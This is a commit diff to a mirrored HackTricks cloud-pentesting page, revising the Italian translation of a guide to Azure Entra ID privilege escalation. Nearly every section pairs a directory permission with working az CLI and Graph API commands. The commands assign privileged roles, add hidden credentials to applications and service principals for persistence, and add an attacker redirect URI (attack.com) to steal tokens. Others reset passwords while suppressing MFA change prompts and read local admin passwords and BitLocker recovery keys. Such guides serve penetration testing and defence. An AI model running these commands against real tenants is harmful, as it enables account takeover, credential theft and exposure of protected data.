mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+62
-48
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che **non tutte le autorizzazioni granulari** che i ruoli integrati hanno in Entra ID **sono eleggibili per essere utilizzate nei ruoli personalizzati.**
|
||||
> Nota che **non tutti i granular permissions** che i ruoli built-in hanno in Entra ID **sono eleggibili per essere usati in custom roles.**
|
||||
|
||||
## Ruoli
|
||||
## Roles
|
||||
|
||||
### Ruolo: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
|
||||
Questo ruolo contiene i granular permissions necessari per poter assegnare ruoli ai principals e per dare più permissions ai ruoli. Entrambe le azioni potrebbero essere abused per escalare privilegi.
|
||||
|
||||
- Assegnare un ruolo a un utente:
|
||||
- Assign role to a user:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Aggiungere più permessi a un ruolo:
|
||||
- Aggiungi più permessi a un role:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -48,11 +48,11 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## Applicazioni
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione dispone di permessi privilegiati, l'attaccante può autenticarsi come tale applicazione e ottenere tali privilegi.
|
||||
Questo consente a un attacker di **aggiungere credenziali** (password o certificati) alle applicazioni esistenti. Se l'applicazione ha privilegi, l'attacker può autenticarsi come quell'applicazione e ottenere quei privilegi.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Ciò consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni di una singola directory.
|
||||
Questo consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni a singola directory.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
|
||||
Aggiungendosi come owner, un attacker può manipolare l'application, incluse credenziali e permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l'utente era già autenticato nell'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
|
||||
Un attacker può aggiungere una redirect URI alle applicazioni che vengono usate dagli utenti del tenant e poi condividere con loro URL di login che usano la nuova redirect URL per rubare i loro token. Nota che se l'utente era già loggato nell'application, l'autenticazione avverrà in automatico senza che l'utente debba accettare nulla.
|
||||
|
||||
Nota che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più privilegi; in questo caso l'utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni.
|
||||
Nota che è anche possibile modificare i permessi che l'application richiede per ottenere più permessi, ma in questo caso l'utente dovrà accettare di nuovo il prompt che richiede tutti i permessi.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
### Escalation dei privilegi delle Applications
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell'app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare **applicazioni con privilegi elevati in ogni Entra ID tenant**.
|
||||
**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni di default che avevano **API permissions** di tipo **`Application`** assegnate. Una API Permission (come viene chiamata nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un login dell'utente nell'app), e senza bisogno di Entra ID roles per autorizzarla. Per questo motivo, è molto comune trovare **applicazioni ad alto privilegio in ogni tenant Entra ID**.
|
||||
|
||||
Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutti i permessi che l'applicazione possiede.
|
||||
Poi, se un attacker ha qualsiasi permission/role che consenta di **aggiornare le credenziali (secret o certificate) dell'application**, l'attacker può generare una nuova credenziale e poi usarla per **autenticarsi come l'application**, ottenendo tutti i permission che l'application ha.
|
||||
|
||||
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
|
||||
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft di default; tuttavia, qualche tempo dopo questo report Microsoft ha corretto il problema e ora non è più possibile fare login come applicazioni Microsoft. Però è ancora possibile trovare **custom applications con privilegi elevati che potrebbero essere abusate**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
Come enumerare le API permissions di un'application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà Microsoft</summary>
|
||||
<summary>Trova tutti i permessi API delle applicazioni e marca le API di proprietà di Microsoft</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
|
||||
Questo consente a un attacker di aggiungere credentials a service principals esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.\
|
||||
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere la persistence su un service principal.\
|
||||
> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo è necessaria un'autorizzazione (`microsoft.directory/applications/allProperties/update`) che consente di eseguire:
|
||||
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
|
||||
Questo consente a un attacker di aggiungere credenziali agli service principal esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.
|
||||
Analogamente alle applications, questa permission consente di aggiungere altri owners a un service principal. Possedere un service principal permette di controllarne le credentials e le permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
|
||||
> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare l'owner. Quindi **non puoi rimuovere gli owner al giorno d'oggi**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` e `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l'accesso in qualche modo, per escalate privileges.
|
||||
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad accedere in qualche modo per escalare privileges.
|
||||
|
||||
Nota che per questa tecnica l'attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato.
|
||||
Nota che per questa tecnica l'attacker avrà bisogno di più permessi per prendere il controllo del service principal abilitato.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
|
||||
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -321,30 +321,30 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
|
||||
Questo permesso permette di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
|
||||
**Nota**: Questa autorizzazione esclude i gruppi assegnabili ai ruoli di Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente permettendo l'elevazione dei privilegi tramite il gruppo.
|
||||
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza al gruppo e le impostazioni, con la possibilità di escalare i privilegi verso il gruppo.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Questa autorizzazione esclude i role-assignable groups di Entra ID.
|
||||
**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.
|
||||
Questo permesso consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere sé stesso o account malevoli a gruppi privilegiati, ottenendo così accesso elevato.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
|
||||
Questo permission consente di aggiornare la membership rule in un dynamic group. Un attacker potrebbe modificare le dynamic rules per includere se stesso in privileged groups senza un'esplicita aggiunta.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -355,27 +355,41 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
|
||||
**Nota**: Questa permission esclude i gruppi assignable di Entra ID.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietà per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:
|
||||
Potrebbe essere possibile per gli utenti escalare privileges modificando le proprie properties per essere aggiunti come membri di dynamic groups. Per maggiori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Utenti
|
||||
## Users
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.
|
||||
Questa permission consente di reimpostare la password degli utenti non-admin, permettendo a un potenziale attacker di escalare privileges verso altri utenti. Questa permission non può essere assegnata a custom roles.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
az ad user update --id $userId --password "kweoifuh.234"
|
||||
|
||||
# Update user password without needing to change or use MFA on next sign-in
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"passwordProfile\": {
|
||||
\"forceChangePasswordNextSignInWithMfa\": false,
|
||||
\"forceChangePasswordNextSignIn\": false,
|
||||
\"password\": \"kweoifuh.234\"
|
||||
}
|
||||
}"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.
|
||||
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; quindi, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un specifico dynamic group ed escalare privilegi.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -391,19 +405,19 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Criteri di accesso condizionale & MFA bypass
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:
|
||||
Le policy di conditional access mal configurate che richiedono MFA potrebbero essere bypassate, verifica:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Dispositivi
|
||||
## Devices
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso alle impostazioni e ai dati specifici del dispositivo.
|
||||
Questo permesso consente agli attacker di assegnarsi come owner dei devices per ottenere controllo o accesso alle impostazioni e ai dati specifici del device.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -414,7 +428,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.
|
||||
Questa permission consente agli attacker di associare il proprio account ai devices per ottenere accesso o bypassare le security policies.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -425,7 +439,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell'account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password
|
||||
Questa permission consente agli attacker di leggere le proprietà delle credenziali di backup dell’account administrator locale per i device Microsoft Entra joined, inclusa la password
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -440,7 +454,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Questa autorizzazione consente l'accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.
|
||||
Questa permission consente di accedere alle chiavi BitLocker, il che potrebbe permettere a un attacker di decryptare i drive, compromettendo la data confidentiality.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -451,7 +465,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## Altre permissions interessanti (TODO)
|
||||
## Altri permessi interessanti (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
Reference in New Issue
Block a user